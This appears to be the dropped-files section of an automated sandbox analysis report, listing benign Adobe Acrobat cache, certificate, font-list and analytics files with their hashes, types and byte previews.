SSDEEP:	384:ye6ci5tuvg2eiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:muvg2xs3OazzU89UTTgUL
MD5:	65D9BB5B1099037FD9326D5AB6FBA2E1
SHA1:	D9EA439E45ACBC0911ECA8DD67ED8D13DE33CD10
SHA-256:	0D8152D4150FA526BFAD4F2DE17970114504CC3DB10043F2DDD1E9DB54E7049A
SHA-512:	6A28A34EBB91C9E7D2B3CA5E94A20FF8C58966838BA6B4A0E0CF3233248BF934E5CF51C4E176815F68D5568E13B55DB82F15DB7ECEF2A700111FC10E7865C14E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7664559735960226
Encrypted:	false
SSDEEP:	48:7MwJioyV+GioyVPoy1C7oy16oy1/zKOioy1noy1AYoy1Wioy1oioykioyBoy1no7:7TJu+GKAU5XjBixb9IVXEBodRBkG
MD5:	7690097F20ACC407C3BB64289483CD92
SHA1:	2003ED2DECA073BEF2E042041DAAA6B9A68F94D2
SHA-256:	D55EB5235869B72979BF710117A2B553F6CB462DC3348C2CB75919BCBCDCF3DF
SHA-512:	5AE7F145E9ED50430CBEBD3F729DA4795D9BFA7F76507742D35CC8D6812EF4AF2A98F4FBFA21D3B3778EACB0F19D629866BFAE768FA334B812211384B419F6DA
Malicious:	false
Preview:	.... .c......s................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklv1i/tfllXlE/HT8k4cl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKb/eT8aVNMa8RdWBwRd
MD5:	35324C2FF1C07C2427F692E6B688E506
SHA1:	E3D414D0DCE16FA5037531217C135E5D7F1FEB43
SHA-256:	EB7E0CBE948D49F8BF6ADAE24E0293F32376866D730D0BF6D0F96FCD47B22565
SHA-512:	367B6086CB2125C9924EE2DCD6D0D6397C8DA9C565A99CA2D7AD23BCBF4299361C683B02374361C0F5849399E009B7E21C3E21DB081568C8FA87FD1896C02764
Malicious:	false
Preview:	p...... ............dc..(....................................................... ..........W....]D..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.229181509060555
Encrypted:	false
SSDEEP:	6:kKYdLsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:esiDImsLNkPlE99SNxAhUe/3
MD5:	298AC08379327E09ABE988CC5B265182
SHA1:	472C9FE760F501942D42E15A54272962855E86E0
SHA-256:	E451E097B34A58737FC347026F97A97C05A3DAD382349B3AA08821067B25D6F9
SHA-512:	7CFF4D9EE12BECD0DAA34EEC49A851ADE3ED8E4D9AA27E130316BAEA1033B049E8C14B88F66FB3819125CA1322E27837C32201DF3300B87CC92B803A6788022D
Malicious:	false
Preview:	p...... ........-...dc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6092

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6092

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.354875627159716
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJM3g98kUwPeUkwRe9:YvXKX/XCla0cIBGMbLUkee9
MD5:	FA5EFCE801653DCC0D59E65B896A97EA
SHA1:	9D1E3A39026F45D3A25B07CCA445278C8413AB18
SHA-256:	50A4FA6EC029D609D0A003E2CEF24D1349589A5807964EDD429E297F51C50815
SHA-512:	FBCD7771BF0EAE158503A7D4D4D2CD1E0549A392C455A131FA460FE2DD894BC90569E6FF022C0E07BE51A37C52175566D7C4883F483DDE201C0BC95282C3124D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3075645399339715
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfBoTfXpnrPeUkwRe9:YvXKX/XCla0cIBGWTfXcUkee9
MD5:	44BE2A487E0999053677EEF62E297BD3
SHA1:	59568A5C86221539C11990067F1243281713B3F6
SHA-256:	155958155F7AFAC7AB2AA849750B50DB23C63E1C5D7F099B78B615C58F708A5B
SHA-512:	E04BB5FD4E723AE6EEABEF8C7DC14F6AE62CD6593814A241A1ADA096D446AD34235673DB16F94638CCEB42C16AAC393E7169A2B222D4A9A5C48082E46C8006FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286112856459977
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfBD2G6UpnrPeUkwRe9:YvXKX/XCla0cIBGR22cUkee9
MD5:	58C6242BA323932E0AA0CF83875CCD04
SHA1:	672FCE464E70114305B06E7526F7968C5EB89932
SHA-256:	2D3961F4AEEC5BC492FC8FCB417322752904386DE426602342792A678EA7ECC1
SHA-512:	7851FA82251DC3A17A9E4514EDAE511645CA07E3BB37FFD83AF36CFCCA8979F01F6D327F8A3AD2708879D6B6FE5038D5E12E6756B06578E723B5F0206FAC2CE6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.334600386712864
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfPmwrPeUkwRe9:YvXKX/XCla0cIBGH56Ukee9
MD5:	81F19A7C0B1B2FDABBE02A96D849A117
SHA1:	7EB3F4E6CF42CADC00D91FBA15A435C946B6827D
SHA-256:	131F4461BB3A00C6FBF219A752C37391B00981197B3215DB972C1D33EE9321DE
SHA-512:	3CD6C67DBA52F6F17C94300F71B01D4566977E07C2FD28965E8346F7A25E0ADC735AB0699EBC246B5EA56F03D0D7164EB5DABCBC58B8C5740CC987F975F552E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68248199579246
Encrypted:	false
SSDEEP:	24:Yv6XPC8ZImpLgE9cQx8LennAvzBvkn0RCmK8czOCCSFY:YvcCnmhgy6SAFv5Ah8cv/FY
MD5:	F9CD5A17E9DB12D35088A884F1F245F1
SHA1:	27CAB1D383552BD59037C9C760FE7897DD8EDF5F
SHA-256:	80159A0AAC257BDD2B5EF77C5670006DA2017FD3111355780C0D5F122FD62BB6
SHA-512:	D1C9A135C9AEFA6B6C2EE3F9B90ADB091A1110440C5C5F12F38149D577A908DB924A0935399A0347AF7209FE9FD08E7F4EFB8FD10197DD325CE065D5A7D23A2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28371917503135
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJf8dPeUkwRe9:YvXKX/XCla0cIBGU8Ukee9
MD5:	1B353643A71285AB44571E37874405DC
SHA1:	018FD7DA9580C3CEAFD39378958CD71C83407659
SHA-256:	C5C3CDF3A55C8EAB279DE93F2FE10E4FAE9619500D41D89260924BF498A3EDCA
SHA-512:	E3CE84EA5846E80C9EF1D50792B5CF625B6C89001B1200074057FD6D09C3604683BB6DD0CD52AD1586DB802A1D7E1B055D708D8D42D5EBC5FCE752A3F140FE1C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.286538695923856
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfQ1rPeUkwRe9:YvXKX/XCla0cIBGY16Ukee9
MD5:	081C6072BD54A3A89CC12A9C0F7F531F
SHA1:	2A060E15EA7337C8A004C04B306E84AE8349221A
SHA-256:	4950968DEB4813B7BCD45D9799EE87ED4F197651BE9D21A1A6D9377041FB1AB4
SHA-512:	05AF072626C159F0321FB3A27958F9748A248D8BE2AB10FB8C305E7B0974B18C5172EEA03CFF88F4D1E7E7BC6BF8569DD283FC33B7D6CF7631F1FC6A6132939C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"712918b1-c371-4cae-91d6-0e133a41d2bf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736689996904,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294203713726462
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/XClbO0nZiQ0YtyoAvJfFldPeUkwRe9:YvXKX/XCla0cIBGz8Ukee9
MD5:	33E6A0B390C7D4CC44147DE436E6D7E1
SHA1:	325304A036710885B1428A2FFBDC56CB056878AD
SHA-256:	1459FF2B76150A8CD1BD66FEAEC7C0A1FBA8F5A22FD572D93A391B59A46F40C4
